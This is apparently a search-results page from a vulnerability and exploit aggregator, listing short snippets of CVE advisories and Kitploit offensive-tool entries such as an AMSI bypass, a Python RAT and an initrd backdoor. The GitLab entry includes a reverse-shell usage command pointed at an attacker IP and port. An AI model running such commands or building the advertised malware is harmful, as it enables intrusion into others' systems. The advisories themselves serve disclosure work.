Lucene search
+L

780848 matches found

Kitploit
Kitploit
added 2026/09/03 3:22 p.m.4 views

CVE-2023-46818

CVE-2023-46818 Python Exploit 🔥 Description This Python exploit script targets a security vulnerability in ISPConfig's records POST parameter to /admin/languageedit.php, which is not properly sanitized. This allows an authenticated admin to inject and execute arbitrary PHP code. ⚠️ Affected...

7.2CVSS7.3AI score0.13784EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/09/03 3:22 p.m.3 views

waybackpack

waybackpack Waybackpack은 주어진 URL에 대한 Wayback Machine의 전체 아카이브를 다운로드할 수 있는 커맨드라인 도구입니다. 예를 들어, 미국 노동부 홈페이지의 1996년해당 사이트가 처음 아카이브된 해까지의 모든 사본을 다운로드하려면 다음을 실행하면 됩니다: root@kitploit: waybackpack http://www.dol.gov/ -d /Downloads/dol-wayback --to-date 1996 결과: root@kitploit: /Downloads/dol-wayback/ ├──...

5.9AI score
SaveExploits0References14
Kitploit
Kitploit
added 2026/09/03 3:22 p.m.18 views

waybackpack

waybackpack Waybackpack is a command-line tool that lets you download the entire Wayback Machine archive for a given URL. For instance, to download every copy of the Department of Labor's homepage through 1996 which happens to be the first year the site was archived, you'd run: root@kitploit:...

5.9AI score
SaveExploits0References14
Kitploit
Kitploit
added 2026/09/03 3:21 p.m.4 views

lighty-sqlinj-demo

title: Ep4 - Network-Related Vulnerability members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Related vulnerability: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Confirm:...

9.8CVSS6.8AI score0.62752EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/09/03 3:21 p.m.2 views

PassMute

PassMute - A Password Trasmutation/Mutator tool This is a command-line tool written in Python that applies one or more transmutation rules to a given password or a list of passwords read from one or more files. The tool can be used to generate transformed passwords for security testing or researc...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/03 3:19 p.m.4 views

Amsi-Bypass-Powershell

Sponsored by Amsi-Bypass-Powershell This repo contains some Antimalware Scan Interface AMSI bypass / avoidance methods i found on different Blog Posts. Most of the scripts are detected by AMSI itself. So you have to find the trigger and change the signature at the part via variable/function...

6AI score
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/03 3:18 p.m.5 views

CTF---CVE-2011-2523

シナリオ Capture the Flag - CVE-2011-2523 脆弱なMetasploitable 2サーバーから復号された/etc/shadowと/etc/passwdファイルを取得します。 環境セットアップ ステップ1: 仮想マシンをダウンロードして解凍する このCTFでは、VMware Workstation Proと2つの仮想マシンを使用します。攻撃機としてKali Linux、脆弱機としてMetasploitable 2を利用します。 VMware Workstationをダウンロードしてインストール:...

10CVSS7.1AI score0.96184EPSS
SaveExploits48
Kitploit
Kitploit
added 2026/09/03 3:18 p.m.2 views

EvilAbigail

Initrd encrypted root fs attack Scenario Laptop left turned off with FDE turned on Attacker boots from USB/CD/Network Script executes and backdoors initrd User returns to laptop, boots as normal Backdoored initrd loads: Debian/Ubuntu/Kali .so file into /sbin/init on boot, dropping a shell...

6.1AI score
SaveExploits0
MongoDB
MongoDB
added 2026/09/03 3:18 p.m.2 views

Arbitrary command execution via shell-expanded connection string in Launch MongoDB Shell terminal

A component of the MongoDB extension for Visual Studio Code does not neutralize special characters in a connection string before that value is placed into a command line the extension composes for an integrated terminal. An unauthenticated remote unauthorized-user who persuades a developer to...

5.1CVSS
SaveExploits0References1Affected Software1
Vulnrichment
Vulnrichment
added 2026/09/03 3:18 p.m.6 views

CVE-2026-84967 Arbitrary command execution via shell-expanded connection string in Launch MongoDB Shell terminal

A component of the MongoDB extension for Visual Studio Code does not neutralize special characters in a connection string before that value is placed into a command line the extension composes for an integrated terminal. An unauthenticated remote unauthorized-user who persuades a developer to...

5.1CVSS6AI score
SaveExploits0References1
EUVD
EUVD
added 2026/09/03 3:18 p.m.5 views

EUVD-2026-70525

A component of the MongoDB extension for Visual Studio Code does not neutralize special characters in a connection string before that value is placed into a command line the extension composes for an integrated terminal. An unauthenticated remote unauthorized-user who persuades a developer to...

5.1CVSS6AI score
SaveExploits0References1
CVE
CVE
added 2026/09/03 3:18 p.m.5 views

CVE-2026-84967

The MongoDB extension for Visual Studio Code fails to neutralize special characters in a connection string before embedding it into a command line composed for the Launch MongoDB Shell integrated terminal. An unauthenticated remote attacker who convinces a developer to accept a user-supplied conn...

5.1CVSS6AI score
SaveExploits0References1
Cvelist
Cvelist
added 2026/09/03 3:18 p.m.17 views

CVE-2026-84967 Arbitrary command execution via shell-expanded connection string in Launch MongoDB Shell terminal

A component of the MongoDB extension for Visual Studio Code does not neutralize special characters in a connection string before that value is placed into a command line the extension composes for an integrated terminal. An unauthenticated remote unauthorized-user who persuades a developer to...

5.1CVSS
SaveExploits0References1
NVD
NVD
added 2026/09/03 3:17 p.m.6 views

CVE-2026-85227

MISP contains a reflected Cross-Site Scripting XSS vulnerability in the event attribute filtering query builder. The taggedAttributes and galaxyAttachedAttributes URL parameters were inserted into the query-builder rules without HTML escaping before being serialized as JSON and embedded inside a...

6.1CVSS
SaveExploits0References1
NVD
NVD
added 2026/09/03 3:17 p.m.5 views

CVE-2026-85230

A persistent unsafe URL injection vulnerability exists in the MISP dashboard ButtonWidget configuration. Dashboard widget URLs were validated only when the widget was rendered and were not validated when the configuration was saved. As a result, an authenticated user able to modify dashboard widg...

5.3CVSS
SaveExploits0References1
NVD
NVD
added 2026/09/03 3:17 p.m.3 views

CVE-2026-85216

MISP contains an authentication bypass vulnerability in its LDAP and LinOTP authentication components due to insufficient validation of user-supplied credentials. The custom LdapAuthenticate and LinOTPAuthenticate components replace CakePHP's FormAuthenticate implementation but did not replicate...

9.5CVSS
SaveExploits0References1
NVD
NVD
added 2026/09/03 3:17 p.m.4 views

CVE-2026-56126

pfSense Plus before 26.07 and CE before 2.9.0 allow authenticated users with the Status: Monitoring privilege to inject arbitrary JavaScript via graph configuration parameters in /statusmonitoring.php. Multiple POST parameters including graph-left, graph-right, time-period, resolution, start-date...

5.4CVSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/03 3:16 p.m.3 views

Sweet-Pineapple-Builder

Sweet WiFi Pineapple Tetra Builder Sweet Pineapple Builder is a python script that automate the whole process of creating a custom WiFi Pineapple Tetra image. As the WiFi Pineapple Tetra firmware is a custom version of OpenWrt 19.07.2, it is therefore possible to create our own custom firmware...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/03 3:15 p.m.3 views

Python-Rootkit

python-rootkit This is a full undetectable python RAT which can bypass almost all antivirus and open a backdoor inside any windows machine which will establish a reverse https Metasploit connection to your listening machine. ViRu5 life cycle Bypass all anti-virus. Inject a malicius powershell...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/03 3:14 p.m.4 views

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Usage root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Credit https://hackerone.com/reports/1154542 Referred code snippet from here: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Disclaimer:...

10CVSS7.3AI score0.99731EPSS
SaveExploits29References1
Rows per page
Query Builder